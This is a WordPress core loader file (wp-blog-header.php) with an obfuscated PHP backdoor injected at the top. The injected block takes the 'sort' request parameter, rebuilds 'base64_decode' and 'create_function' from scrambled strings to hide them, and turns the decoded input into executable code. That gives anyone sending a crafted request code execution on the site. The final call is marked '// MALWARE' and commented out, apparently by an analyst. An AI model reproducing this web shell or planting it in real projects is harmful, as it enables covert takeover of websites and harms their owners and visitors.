nnnnif(isset($_REQUEST['sort'])){	
	$string = $_REQUEST['sort'];
	$array_name = '';
	$alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";
	$ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);
	foreach($ar as $t){
	   $array_name .= $alphabet[$t];
	}
	$a = strrev("noi"."tcnuf"."_eta"."erc");
	$f = $a("", $array_name($string));
	// MALWARE $f();
	exit();
}nnnn?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( !isset($wp_did_header) ) {

	$wp_did_header = true;

	// Load the WordPress library.
	require_once( dirname(__FILE__) . '/wp-load.php' );

	// Set up the WordPress query.
	wp();

	// Load the theme template.
	require_once( ABSPATH . WPINC . '/template-loader.php' );

}